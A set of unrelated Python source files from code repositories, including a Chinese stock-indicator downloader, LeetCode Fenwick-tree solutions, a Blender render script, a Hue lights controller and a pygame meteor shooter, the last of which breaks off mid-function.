在k线基础上计算MACD,并将结果存储在df上面(dif,dea,bar)\ndef calc_macd(df, fastperiod=12, slowperiod=26, signalperiod=9):\n ewma12 = df['close'].ewm(alpha=2 / 13,adjust=False).mean()\n ewma26 = df['close'].ewm(alpha=2 / 27,adjust=False).mean()\n df['dif'] = ewma12-ewma26\n df['dea'] = df['dif'].ewm(alpha=2 / 10,adjust=False).mean()\n df['bar'] = (df['dif']-df['dea'])*2\n # df['macd'] = 0\n # series = df['dif']>0\n # df.loc[series[series == True].index, 'macd'] = 1\n return df\n\n# 在k线基础上计算KDF,并将结果存储在df上面(k,d,j)\ndef calc_kdj(df):\n low_list = df['low'].rolling(9, min_periods=9).min()\n low_list.fillna(value=df['low'].expanding().min(), inplace=True)\n high_list = df['high'].rolling(9, min_periods=9).max()\n high_list.fillna(value=df['high'].expanding().max(), inplace=True)\n rsv = (df['close'] - low_list) / (high_list - low_list) * 100\n df['k'] = pd.DataFrame(rsv).ewm(alpha=1/3, adjust=False).mean()\n df['d'] = df['k'].ewm(alpha=1/3, adjust=False).mean()\n df['j'] = 3 * df['k'] - 2 * df['d']\n # df['kdj'] = 0\n # series = df['k']>df['d']\n # df.loc[series[series == True].index, 'kdj'] = 1\n # # df.loc[series[(series == True) & (series.shift() == False)].index, 'kdjcross'] = 1\n # # df.loc[series[(series == False) & (series.shift() == True)].index, 'kdjcross'] = -1\n return df\n\n# 在k线基础上计算DMA,并将结果存储在df上面(DDD,DDDMA)\ndef calc_dma(df):\n df['dma1'] = df['close'].rolling(10).mean()\n df['dma2'] = df['close'].rolling(50).mean()\n df['ddd'] = df['dma1'] - df['dma2']\n df['dddma'] = df['ddd'].rolling(10).mean()\n return df\n\ndef calc_ma(df):\n df['ma5'] = df['close'].rolling(5).mean().fillna(method='bfill')\n df['ma10'] = df['close'].rolling(10).mean().fillna(method='bfill')\n df['ma20'] = df['close'].rolling(20).mean().fillna(method='bfill')\n df['ma5'] = df['ma5'].astype('float64')\n df['ma10'] = df['ma10'].astype('float64')\n df['ma20'] = df['ma20'].astype('float64')\n return df\n\n#-------------START!\nnowdate = datetime.datetime.now()\nnewdate = nowdate.strftime('%Y%m%d')\nnow = datetime.datetime.now()\ntoday = now.strftime('%Y%m%d')\n\nprocess=0 #进度计数\n#usstockcode=pd.DataFrame()\n#usstockcode= ak.get_us_stock_name() #取所有美国的代码\n#print(usstockcode)\nstockcode=pd.read_csv('akshareChinaAstockcode.csv')\nstockcode.rename(columns={\"代码\":'code'},inplace=True)\nstockcode['code'].astype('string')\nprint('stockcode',stockcode)\nunliststockdf=pd.DataFrame(columns={'code'})\n\nwith open('akshareChinaAdatalastcode.txt','r') as fi:\n f1= fi.readline()\n print(f1)\nif f1!='301039':\n lastcode = int(f1) #最后一个股票代码\n stockcode.set_index(['code'],inplace=True)\n stockcode=stockcode.loc[lastcode:]\n stockcode=stockcode.reset_index()\n print('断点同步:'+str(len(stockcode)))\n\nelse:\n print(\"数据更新从头开始\")\n\nfor code in stockcode['code']:\n if code<10:scode='00000'+str(code)\n if code>10 and code<100:scode='0000'+str(code)\n if code>100 and code<1000:scode='000'+str(code)\n if code>1000 and code<10000:scode='00'+str(code)\n if code>10000 and code<100000:scode='0'+str(code)\n if code>100000:scode=str(code)\n print('读akshare接口 '+scode)\n\n process=process+1\n stockdailydf= ak.stock_zh_a_hist(symbol=scode,adjust=\"\",start_date='20210301')\n\n stockdailydf.rename(columns={\"开盘\": \"open\", \"收盘\": \"close\",\"最高\":\"high\",\"最低\":\"low\",\"日期\":\"date\"}, inplace=True)\n\n stockdailydf = stockdailydf.reset_index()\n if stockdailydf.empty== True: continue\n d = str(stockdailydf.loc[len(stockdailydf)-1,'date'])\n tempd=d.split('-',2)[0]\n if int(tempd)<2021:\n unliststockdf.loc[len(unliststockdf), 'code'] = code\n continue\n\n calc_macd(stockdailydf) # 计算MACD值,数据存于DataFrame中\n calc_kdj(stockdailydf) # 计算KDJ值,数据存于DataFrame中\n calc_dma(stockdailydf) # 计算DMA值,数据存于DF中\n calc_ma(stockdailydf) # 计算MA均线\n\n # 引入stockstats,计算CR、RSI指标\n stock = stockstats.StockDataFrame.retype(stockdailydf)\n stock.get('cr')\n stock.get('boll')\n stock.get('rsi_6')\n stock.get('rsi_12')\n\n stockdailydf[np.isinf(stockdailydf)] = np.nan #判断有inf替换nan!!!\n\n stockdailydf = stockdailydf.reset_index(drop=False)\n\n tablename = str(scode)\n has_table = engine.dialect.has_table(engine.connect(), tablename)\n if has_table == False:\n # 这里要判断表不存在创建新表 create table if not exists\n # 获得行情数据 ts_code, dataframe清洗数据\n stockdailydf.to_sql(name=str(scode), con=engine) # df大表存入数据库akshareChinaA\n print('新建' + str(scode) + '数据至' + str(newdate) + '===>进度 ' + str(\n format(process / len(stockcode), '.4%')))\n\n else: # 表存在,判断是否需要更新\n SQLSelectExist = 'SELECT * FROM akshareChinaAdata.`' + tablename + '`' # 取到已存在的表里的数据\n dfExist = pd.read_sql_query(SQLSelectExist, engine)\n if stockdailydf.loc[len(stockdailydf) - 1, 'date'] in (dfExist['date'].values) : # 如果接口取到df表的最后一行在数据库的Date列里\n print(str(scode) + '已经是最新数据===>进度 ' + str(format(process / len(stockcode), '.4%')))\n #stockdailydf.to_sql(name=code, con=engine, if_exists='replace') # df大表存入数据库ACSQuant\n else:\n print(str(scode) + '添加新数据' + newdate + '数据--最新日期' + newdate + '===>进度 ' + str(\n format(process / len(stockcode), '.4%')))\n stockdailydf.to_sql(name=str(scode), con=engine, if_exists='replace') # df大表存入数据库ACSQuant\n print(code, stockdailydf)\n with open('akshareChinaAdatalastcode.txt','w+') as f:\n f.write(str(scode))\nunliststockdf.to_csv('akshareChinaAunlist.csv')\n","repo_name":"ishine/ChinaAStockMarketRealtimeMonitor","sub_path":"akshareChinaA.py","file_name":"akshareChinaA.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"72931055721","text":"\n# LC303. Range Sum Query - Immutable\nfrom itertools import accumulate\nclass NumArray:\n def __init__(self, nums: List[int]):\n self.accumu = [0] + list(accumulate(nums))\n print(self.accumu)\n def sumRange(self, left: int, right: int) -> int:\n return self.accumu[right+1] - self.accumu[left]\n\n# LC304. Range Sum Query 2D - Immutable\nclass NumMatrix:\n def __init__(self, matrix: List[List[int]]):\n n, m = len(matrix), len(matrix[0])\n self.sums = [ [0 for j in range(m+1)] for i in range(n+1) ]\n for i in range(1, n+1):\n for j in range(1, m+1):\n self.sums[i][j] = matrix[i-1][j-1] + self.sums[i][j-1] + \\\n self.sums[i-1][j] - self.sums[i-1][j-1]\n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n row2, col2 = row2+1, col2+1\n return self.sums[row2][col2] + self.sums[row1][col1] \\\n - self.sums[row2][col1] - self.sums[row1][col2]\n\n# LC307. Range Sum Query - Mutable\nclass NumArray:\n # https://leetcode.com/problems/range-sum-query-mutable/discuss/75753/Java-using-Binary-Indexed-Tree-with-clear-explanation\n # https://leetcode.com/problems/range-sum-query-mutable/discuss/954063/Python-144ms-80-Fenwick-Tree\n def __init__(self, nums: List[int]):\n self._nums = [0] * len(nums)\n self._ftree = [0] * (len(nums) + 1) # Fenwich tree start with index 1\n for i in range(len(nums)):\n self.update(i, nums[i])\n def update(self, i: int, val: int) -> None: # O(logn)\n if i >= len(self._nums) or i < 0: return\n delta = val - self._nums[i] # get the delta\n self._nums[i] = val\n i += 1 # Fenwich tree start with index 1\n while i <= len(self._nums):\n self._ftree[i] += delta\n # go to a larger range, which contains current range\n i += i & (-i) # i = i + LowestSignificentBit(i)\n def sumRange(self, i: int, j: int) -> int:\n return self._getSum(j) - self._getSum(i-1)\n def _getSum(self, i:int) -> int: # log(n)\n if i < 0: return 0\n i += 1 # Fenwich tree start with index 1\n ans = 0\n while i > 0:\n ans += self._ftree[i]\n # go to a new range, which is immediately before current range\n i -= i & (-i) # i = i - LowestSignificentBit(i)\n return ans\n\n# LC308. Range Sum Query 2D - Mutable\nclass NumMatrix:\n # https://cs.stackexchange.com/questions/10538/bit-what-is-the-intuition-behind-a-binary-indexed-tree-and-how-was-it-thought-a\n def __init__(self, matrix: List[List[int]]):\n if not matrix: return\n if len(matrix[0]) == 0: return\n self.row_num = len(matrix) + 1\n self.col_num = len(matrix[0]) + 1\n self.bit = [ [0] * self.col_num for _ in range(self.row_num) ]\n for i in range(1, self.row_num):\n for j in range(1, self.col_num): self._bit_update(i, j, matrix[i-1][j-1])\n def _bit_update(self, r, c, val):\n while r < self.row_num:\n j = c\n row = self.bit[r]\n while j < self.col_num:\n row[j] += val\n j += j & (-j)\n r += r & (-r)\n def _bit_query(self, r, c):\n sumv = 0\n while r > 0:\n j = c\n while j > 0:\n sumv += self.bit[r][j]\n j -= j & (-j)\n r -= r & (-r)\n return sumv\n def update(self, row: int, col: int, val: int) -> None:\n old_v = self.sumRegion(row, col, row, col)\n diff = val - old_v\n self._bit_update(row+1, col+1, diff)\n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n sum1 = self._bit_query(row2+1, col2+1) + self._bit_query(row1, col1)\n sum2 = self._bit_query(row2+1, col1) + self._bit_query(row1, col2+1)\n return sum1 - sum2\n\n# LC493. - ignore, just BIT\n# https://leetcode.com/problems/reverse-pairs/discuss/571969/Super-clean-and-concise-Python-3-Binary-Indexed-Tree-Reverse-Pairs\nclass FenwickTree:\n def __init__(self, n: int) -> None:\n self.BIT = [0] * (n+1)\n\n def sum(self, x: int) -> int:\n rv = 0\n while x > 0:\n rv += self.BIT[x]\n x -= x & -x\n return rv\n\n def add(self, x: int, delta: int) -> None:\n while x < len(self.BIT):\n self.BIT[x] += delta\n x += x & -x\n\nclass Solution:\n def reversePairs(self, nums: List[int]) -> int:\n doubleNums = [n * 2 for n in nums]\n m = {n: i+1 for i, n in enumerate(sorted(set(nums + doubleNums)))}\n numsRanks = [m[n] for n in nums]\n doubleNumsRanks = [m[n] for n in doubleNums]\n ft = FenwickTree(len(nums * 2))\n rv = 0\n for i in range(len(nums)-1, -1, -1):\n rv += ft.sum(numsRanks[i]-1)\n ft.add(doubleNumsRanks[i], 1)\n return rv\n\n","repo_name":"bigfrog10/python-data-structure-algo-tutorial","sub_path":"leetcode/src/a_dsa/d8_trees/binary_index_trees/binary_index_tree.py","file_name":"binary_index_tree.py","file_ext":"py","file_size_in_byte":4886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18096262590","text":"import bpy\nimport os\nimport sys\nsys.path.append('./scripts/util')\nfrom helper import set_prop_val\n\n# output properties\nbpy.data.scenes['Scene'].render.resolution_x = 1280 # 1920\nbpy.data.scenes['Scene'].render.resolution_y = 720 # 1080\nbpy.data.scenes['Scene'].render.resolution_percentage = 100\nbpy.data.scenes['Scene'].render.tile_x = 256\nbpy.data.scenes['Scene'].render.tile_y = 256\nbpy.data.scenes['Scene'].cycles.max_bounces = 4\nbpy.data.scenes['Scene'].cycles.min_bounces = 0\nbpy.data.scenes['Scene'].cycles.sample = 300\n\n# name of object\nobj_name = ['sphere', 'bottle', 'knight', 'king']\n# number of images\nnimages = 41\n# root directory of synthetic dataset\nrdir = 'C:/Users/Admin/Documents/3D_Recon/Data/synthetic_data'\n# output directory of rendered images\nodir = '%s/pairwise' % rdir\n# get material nodes\nnodes = bpy.data.materials['Material'].node_tree.nodes\n# set all objects invisible\nfor iobj in range(0, len(obj_name)):\n\tbpy.data.objects[obj_name[iobj]].hide_render = True\n# set all lights visible\nfor ilight in range(0, 8):\n\tbpy.data.objects['Point.%03d' % ilight].hide_render = False\n\nset_prop_val(nodes, 0, 10) # texture\nset_prop_val(nodes, 1, 10) # albedo\nset_prop_val(nodes, 2, 0); # specular\nset_prop_val(nodes, 3, 0); # roughness\n\nnodes_world = bpy.data.worlds['World'].node_tree.nodes\nlinks_world = bpy.data.worlds['World'].node_tree.links\nlinks_world.remove(links_world[1])\nlinks_world.new(nodes_world.get(\"Light Path\").outputs[0], nodes_world.get(\"Background\").inputs[1])\n\nfor iobj in range(1, len(obj_name)):\n\tbpy.data.objects[obj_name[iobj]].hide_render = False\n\toutdir = '%s/%s/sc' % (odir, obj_name[iobj])\n\tif not os.path.exists(outdir):\n\t os.makedirs(outdir)\n\n\tfor ind_cam in range(0, nimages):\n\t bpy.context.scene.camera = bpy.data.objects['Camera.%03d' % ind_cam]\n\t bpy.data.scenes['Scene'].render.filepath = '%s/%04d.jpg' % (outdir, ind_cam)\n\t bpy.ops.render.render(write_still=True)\n\tbpy.data.objects[obj_name[iobj]].hide_render = True\n\nbpy.data.objects['Point'].hide_render = True\nbpy.data.objects['Point.001'].hide_render = True\nbpy.data.objects['Point.002'].hide_render = True\nbpy.data.objects['Point.003'].hide_render = True\nlinks_world.remove(links_world[1])\nlinks_world.new(nodes_world.get(\"Environment Texture\").outputs[0], nodes_world.get(\"Background\").inputs[1])\n","repo_name":"imkaywu/3d-data-generator","sub_path":"scripts/pairwise1/sc.py","file_name":"sc.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13437037248","text":"# PROGRAMMERS 154538 숫자 변환하기\n# Level 2\n# 우선순위 큐\n\nfrom queue import PriorityQueue\n\n\ndef add_pq(pq, count, value, checked):\n if value not in checked:\n pq.put((count, value))\n checked.add(value)\n\n\ndef solution(x, y, n):\n answer = -1\n\n pq = PriorityQueue()\n checked = set()\n pq.put((0, x))\n checked.add(x)\n while not pq.empty():\n count, number = pq.get()\n if number > y:\n continue\n elif number == y:\n answer = count\n break\n\n count += 1\n next = number + n\n add_pq(pq, count, next, checked)\n\n next = number << 1\n add_pq(pq, count, next, checked)\n\n next = number * 3\n add_pq(pq, count, next, checked)\n\n return answer\n\n\nif __name__ == '__main__':\n x = 10\n y = 40\n n = 5\n answer = solution(x, y, n)\n print(answer)\n","repo_name":"0xe82de/Problem-Solving","sub_path":"python/programmers/PROGRAMMERS_154538_1.py","file_name":"PROGRAMMERS_154538_1.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1182231150","text":"# ----- Imports ----- #\n\nfrom phue import Bridge\nfrom config import HUE_BRIDGE_IP, HUE_BRIDGE_USERNAME\n\n\n# ----- Setup ----- #\n\nbridge = Bridge(ip=HUE_BRIDGE_IP, username=HUE_BRIDGE_USERNAME)\nOPTIONAL_STATE = ['hue', 'sat', 'effect']\n\n\n# ----- Functions ----- #\n\ndef _parse_light(hue_id, raw_light):\n\n light = {\n \"hue_id\": hue_id,\n \"name\": raw_light['name'],\n \"on\": raw_light['state']['on'],\n \"bri\": raw_light['state']['bri']\n }\n\n for prop in OPTIONAL_STATE:\n\n if prop in raw_light['state']:\n light[prop] = raw_light['state'][prop]\n\n return light\n\n\ndef scan():\n\n lights = bridge.get_light()\n return [_parse_light(id, light) for id, light in lights.items()]\n\n\ndef update_light(hue_id, props):\n\n if 'name' in props:\n bridge.set_light(hue_id, 'name', props['name'])\n\n batch_props = {k: v for k, v in props.items() if k != 'name'}\n\n if batch_props:\n bridge.set_light(hue_id, batch_props)\n\n\ndef update_lights(lights, props):\n\n batch_props = {k: v for k, v in props.items() if k != 'name'}\n\n int_lights = list(map(int, lights))\n\n if batch_props:\n bridge.set_light(int_lights, batch_props)\n\n\n","repo_name":"Ap0c/houselights","sub_path":"backend/src/hue.py","file_name":"hue.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27322906112","text":"\"\"\"\nTime/Space Complexity = O(N)\n\"\"\"\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def findLeaves(self, root: TreeNode) -> List[List[int]]:\n if not root:\n return []\n out = []\n def po(node):\n if not node:\n return -1\n \n left_height = po(node.left)\n right_height = po(node.right)\n curr_height = 1 + max(left_height, right_height)\n out.append((node.val, curr_height))\n return curr_height\n \n height = po(root)\n \n leaves = []\n print(out)\n for val, indx in out:\n if len(leaves) > indx:\n leaves[indx].append(val)\n else:\n leaves.insert(indx, [val])\n return leaves","repo_name":"knightrohit/monthly_challenges","sub_path":"july_2021/leafs_of_binary_tree.py","file_name":"leafs_of_binary_tree.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31353889767","text":"points = [(0,0), (1,2), (3,1)]\nxs, ys = zip(*points)\ncolors = [\"red\", \"blue\", \"green\"]\n\noutput_file(\"Spatial_Example.html\", title=\"Regional Example\")\nlocation_source = ColumnDataSource(\n data={\n \"x\": xs,\n \"y\": ys,\n \"colors\": colors,\n }\n)\n\nfig = figure(title = \"Title\",\n x_axis_location = \"above\", tools=\"resize, hover, save\")\nfig.plot_width = 300\nfig.plot_height = 380\nfig.circle(\"x\", \"y\", 10, 10, size=10, source=location_source,\n color='colors', line_color = None)\n\nhover = fig.select(dict(type = HoverTool))\nhover.tooltips = {\n \"Location\": \"(@x, @y)\"\n}\nshow(fig)\n\ndef location_plot(title,colors):\n\n output_file(title+\".html\")\n location_source = ColumnDataSource(\n data={\n \"x\": whisky[\" Latitude\"],\n \"y\": whisky[\" Longitude\"],\n \"colors\": colors,\n \"regions\": whisky.Region,\n \"distilleries\": whisky.Distillery\n }\n )\n \n fig = figure(title = title,\n x_axis_location = \"above\", tools=\"resize, hover, save\")\n fig.plot_width = 400\n fig.plot_height = 500\n fig.circle(\"x\", \"y\", 10, 10, size=9, source=location_source,\n color='colors', line_color = None)\n fig.xaxis.major_label_orientation = np.pi / 3\n hover = fig.select(dict(type = HoverTool))\n hover.tooltips = {\n \"Distillery\": \"@distilleries\",\n \"Location\": \"(@x, @y)\"\n }\n show(fig)\n\nregion_cols = [region_colors.get(i) for i in whisky.Region] #list comprehension\nlocation_plot(\"Whisky Locations and Regions\", region_cols)\n\n\nregion_cols = [region_colors.get(i) for i in whisky.Region]\nclassification_cols = [cluster_colors[i] for i in whisky.Group]\n\nlocation_plot(\"Whisky Locations and Regions\", region_cols)\nlocation_plot(\"Whisky Locations and Groups\", classification_cols)\n","repo_name":"nidhya08/python-case-study","sub_path":"whisky_group_scatter_plot.py","file_name":"whisky_group_scatter_plot.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2674963178","text":"#!/usr/bin/env python3\nimport json\nimport os\nfrom decimal import Decimal\nimport psycopg2\nfrom dotenv import load_dotenv\n\n# Loading environment variables from the .env file\nload_dotenv()\n\n\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, Decimal):\n return str(o)\n return super().default(o)\n\ndef get_data_as_json():\n # Connect to the PostgreSQL database\n host = os.environ[\"PG_HOST\"]\n database = os.environ[\"PG_DATABASE\"]\n user = os.environ[\"PG_USER\"]\n password = os.environ[\"PG_PASSWORD\"]\n\n # Connect to the PostgreSQL database\n conn = psycopg2.connect(\n host=host,\n database=database,\n user=user,\n password=password\n )\n if conn is None:\n raise Exception('Unable to connect to the database')\n print('Connected to the database')\n # Create a cursor object\n cursor = conn.cursor()\n\n # Execute your SQL query\n cursor.execute(\"SELECT * FROM public.user_table\")\n\n # Fetch all the rows returned by the query\n rows = cursor.fetchall()\n\n # Transform the fetched rows into the desired JSON format\n data = []\n for row in rows:\n user = {\n \"user_id\": row[0],\n \"name\": row[1],\n \"age\": row[2]\n }\n if row[3] is not None:\n user[\"phone\"] = row[3]\n data.append(user)\n\n result = {\n \"status_code\": 200,\n \"data\": data\n }\n\n # Serialize the data to JSON using the custom encoder\n json_result = json.dumps(result, cls=DecimalEncoder)\n\n # Close the cursor and the database connection\n cursor.close()\n conn.close()\n\n return json_result\n\nresult = get_data_as_json()\nprint(result)\n\n","repo_name":"Mtsumi/AGE_challenge","sub_path":"0x03-driver_interface/src/postgresql_driver.py","file_name":"postgresql_driver.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"23926528082","text":"valor = int(input('que valor vocw quer sacar? R$'))\r\ntotal = valor\r\nced = 50\r\ntotced = 0\r\nwhile True:\r\n if total >= valor:\r\n total -= ced\r\n totced += 1\r\n else:\r\n print(f'Total de {totced} cedulas de R${ced}')\r\n if ced == 50:\r\n ced = 20\r\n elif ced == 20:\r\n ced = 10\r\n elif ced == 10:\r\n ced = 1\r\n if total == 0:\r\n break","repo_name":"rasteiro11/Python","sub_path":"exercicio-71.py","file_name":"exercicio-71.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"32410500421","text":"#-*-coding:utf-8-*-\n'''\n将文件存成csv文件\n将item_feature.csv按照日期分割成不同的文件\n'''\n\nimport csv\nimport os\nimport cPickle\n\ndate_dictionary = {}\n\ndef writeByDate(date,words):\n\tfile_name = date + \".csv\"\n\tos.chdir('../data4/all/date/')\n\tif date not in date_dictionary:\n\t\tdate_dictionary[date] = True\n\t\twith open(file_name,'a') as f:\n\t\t\twrite = csv.writer(f)\n\t\t\twrite.writerow([\"date\",\"item_id\",\"cate_id\",\"cate_level_id\",\"brand_id\",\"supplier_id\",\"pv_ipv\",\"pv_uv\",\"cart_ipv\",\"cart_uv\",\"collect_uv\",\"num_gmv\",\"amt_gmv\",\"qty_gmv\",\"unum_gmv\",\"amt_alipay\",\"num_alipay\",\"qty_alipay\",\"unum_alipay\",\"ztc_pv_ipv\",\"tbk_pv_ipv\",\"ss_pv_ipv\",\"jhs_pv_ipv\",\"ztc_pv_uv\",\"tbk_pv_uv\",\"ss_pv_uv\",\"jhs_pv_uv\",\"num_alipay_njhs\",\"amt_alipay_njhs\",\"qty_alipay_njhs\",\"unum_alipay_njhs\"])\n\t\t\twrite.writerow(words)\n\telse:\n\t\twith open(file_name,'a') as f:\n\t\t\twrite = csv.writer(f)\n\t\t\twrite.writerow(words)\n\tos.chdir('../../../code')\n\ndef splitByDate():\n\twith open(\"../data4/item_feature2.csv\") as f:\n\t\trows = csv.reader(f)\n\t\trows.next()\n\t\tfor row in rows:\n\t\t\tdate = row[0]\n\t\t\twords = [row[0][:4]+\"-\"+row[0][4:6]+'-'+row[0][6:]] + row[1:]\n\t\t\twriteByDate(date,words)\n\nsplitByDate()\n\ndef savepkl():\n\tdict = {}\n\twith open(\"../data4/item_feature2.csv\") as f:\n\t\trows = csv.reader(f)\n\t\trows.next()\n\t\tfor row in rows:\n\t\t\tdate = row[0][:4]+\"-\"+row[0][4:6]+'-'+row[0][6:]\n\t\t\titem_id = row[1]\n\t\t\tstore_code = row[2]\n\t\t\tdict[(date,item_id,store_code)] = row[2:]\n\n\twith open(\"../data4/item_feature2.pkl\",'wb') as f:\n\t\tcPickle.dump(dict,f,-1)\n# savepkl()\n","repo_name":"Qiumy/AliTianChi","sub_path":"cainiao/code/split_by_date.py","file_name":"split_by_date.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17280038594","text":"from MG1_Mob import Mob\nfrom MG1_Player import Player\nfrom MG1_Explosion import Explosion\nfrom MG1_Powerup import Powerup\nfrom Functions import Functions\nfrom MG1_Enemy import Enemy\nfrom Values import *\n\n\nclass Game:\n\n def __init__(self):\n self.bg_y = 0\n self.func = Functions()\n self.load_data()\n self.text_time = 2000\n self.round1_text = False\n self.round2_text = False\n self.round2_text_timer = py.time.get_ticks()\n self.round3_text_timer = py.time.get_ticks()\n self.round4_text_timer = py.time.get_ticks()\n self.round5_text_timer = py.time.get_ticks()\n self.round6_text_timer = py.time.get_ticks()\n\n def load_data(self):\n\n with open(path.join(high_dir, mg1_highscore), 'r') as f:\n try:\n self.highscore = int(f.read())\n except:\n self.highscore = 0\n\n def draw_lives(self, surf, x, y, lives, img):\n for i in range (3):\n img_rect = Empty_heart.get_rect()\n img_rect.x = x + 30 * i\n img_rect.y = y\n surf.blit(Empty_heart, img_rect)\n for i in range(lives):\n img_rect = img.get_rect()\n img_rect.x = x + 30 * i\n img_rect.y = y\n surf.blit(img, img_rect)\n\n def draw_shield_bar(self, surf, x, y, pct):\n if pct < 0:\n pct = 0\n bar_width = 100\n bar_height = 10\n fill = (pct / 100) * bar_width\n outline_rect = py.Rect(x, y, bar_width, bar_height)\n fill_rect = py.Rect(x, y, fill, bar_height)\n if pct <= 20:\n py.draw.rect(surf, RED, fill_rect)\n elif pct <= 50:\n py.draw.rect(surf, YELLOW, fill_rect)\n else:\n py.draw.rect(surf, GREEN, fill_rect)\n py.draw.rect(surf, WHITE, outline_rect, 2)\n\n def game_over(self, val):\n running = True\n\n while running:\n\n if val == 'pause':\n # DRAW\n text_obj, text_surf = self.func.text_objects(\"Paused\", large_text, WHITE)\n text_surf.center = (display_width / 2, display_height / 2 - 150)\n display_screen.blit(text_obj, text_surf)\n\n # DRAW BUTTONS\n resume_button = self.func.button(\"Resume\", WHITE, display_width / 2 - main_menu_buttonx / 2,\n display_height / 2 - 75,\n main_menu_buttonx, main_menu_buttony, IACOLOR, ACOLOR)\n main_menu_button = self.func.button(\"Main Menu\", WHITE, display_width / 2 - main_menu_buttonx / 2,\n display_height / 2,\n main_menu_buttonx, main_menu_buttony, IACOLOR, ACOLOR)\n for event in py.event.get():\n if event.type == py.QUIT:\n py.quit()\n quit()\n if event.type == py.KEYDOWN:\n if event.key == py.K_ESCAPE:\n self.state = 'run'\n running = False\n if event.type == py.MOUSEBUTTONDOWN:\n mouse_pos = py.mouse.get_pos()\n if resume_button.collidepoint(mouse_pos):\n self.state = 'run'\n running = False\n if main_menu_button.collidepoint(mouse_pos):\n return 'main'\n\n py.display.update()\n if val == 'game_over':\n\n rel_y = self.bg_y % bg.get_rect().height\n display_screen.blit(bg, (0, rel_y - bg.get_rect().height))\n if rel_y < display_height:\n display_screen.blit(bg, (0, rel_y))\n self.bg_y += 0.1\n\n #buttons\n main_menu_button = self.func.button(\"Main Menu\", WHITE, display_width/2 - main_menu_buttonx/2, 325,\n main_menu_buttonx, main_menu_buttony, IACOLOR, ACOLOR)\n restart_button = self.func.button(\"Restart\", WHITE, display_width/2 - main_menu_buttonx/2, 400, main_menu_buttonx,\n main_menu_buttony, IACOLOR, ACOLOR)\n\n #text\n\n text_surface, text_rect = self.func.text_objects(\"GAME OVER\", game_over_text, WHITE)\n text_rect.center = (display_width/2, 100)\n display_screen.blit(text_surface, text_rect)\n\n text_surface, text_rect = self.func.text_objects(\"SCORE {}\".format(str(self.score)), medium_text, WHITE)\n text_rect.center = (display_width / 2, 220)\n display_screen.blit(text_surface, text_rect)\n\n if self.score > self.highscore or self.score == self.highscore:\n self.highscore = self.score\n text_surf, text_rect = self.func.text_objects(\"NEW HIGHSCORE\",\n small_text, RED)\n text_rect.center = (display_width / 2, 260)\n display_screen.blit(text_surf, text_rect)\n with open(path.join(high_dir, mg1_highscore), 'w') as f:\n f.write(str(self.score))\n\n else:\n text_surf, text_rect = self.func.text_objects(\"HIGHSCORE {}\".format(str(self.highscore)),\n small_text, WHITE)\n text_rect.center = (display_width / 2, 260)\n display_screen.blit(text_surf, text_rect)\n\n\n for event in py.event.get():\n if event.type == py.QUIT:\n py.quit()\n quit()\n if event.type == py.MOUSEBUTTONDOWN:\n mouse_pos = py.mouse.get_pos()\n if main_menu_button.collidepoint(mouse_pos):\n return 'main'\n if restart_button.collidepoint(mouse_pos):\n return 'instr'\n\n\n py.display.update()\n\n def setup(self):\n self.all_sprites = py.sprite.Group()\n self.bullets = py.sprite.Group()\n self.enemy_bullets = py.sprite.Group()\n self.powerups = py.sprite.Group()\n self.player = Player(self.all_sprites, self.bullets)\n self.all_sprites.add(self.player)\n self.mobs = py.sprite.Group()\n self.round1_active = False\n self.round2_active = False\n self.round3_active = False\n self.round4_active = False\n self.round5_active = False\n self.round6_active = False\n self.boss1_killed = False\n self.boss2_killed = False\n self.boss3_killed = False\n self.round2_finished = False\n self.round4_finished = False\n self.score = 0\n self.ret = \"\"\n\n def spawner(self, round):\n print(round)\n if round == 1:\n for i in range(15):\n mob = Mob(round)\n mob.delay()\n self.all_sprites.add(mob)\n self.mobs.add(mob)\n elif round == 3:\n for i in range(20):\n mob = Mob(round)\n mob.delay()\n self.all_sprites.add(mob)\n self.mobs.add(mob)\n elif round == 5:\n for i in range(25):\n mob = Mob(round)\n mob.delay()\n self.all_sprites.add(mob)\n self.mobs.add(mob)\n\n return round\n\n def loop(self):\n py.display.set_caption(\"Meteor Strike\")\n self.setup()\n self.state = 'run'\n # Game loop\n running = True\n self.round_timer = py.time.get_ticks()\n while running:\n # keep loop running at the right speed\n\n if self.state == 'run':\n # Process input (events)\n for event in py.event.get():\n # check for closing window\n if event.type == py.QUIT:\n py.quit()\n quit()\n elif event.type == py.KEYDOWN:\n if event.key == py.K_SPACE:\n self.player.shoot()\n if event.key == py.K_ESCAPE:\n self.state = 'pause'\n # Update\n self.all_sprites.update()\n\n # Score checker\n\n #ROUND 1\n if self.round1_active == False and self.score == 0:\n self.round1_text = True\n if py.time.get_ticks() - self.round_timer > 2000:\n self.current_round = self.spawner(1)\n self.round1_active = True\n self.round1_text = False\n\n # ROUND 2 BOSS FIGHT\n if self.round2_active == False and self.score >= 750:\n self.round2_active = True\n self.round2_text_timer = py.time.get_ticks()\n # Kill all mobs\n for 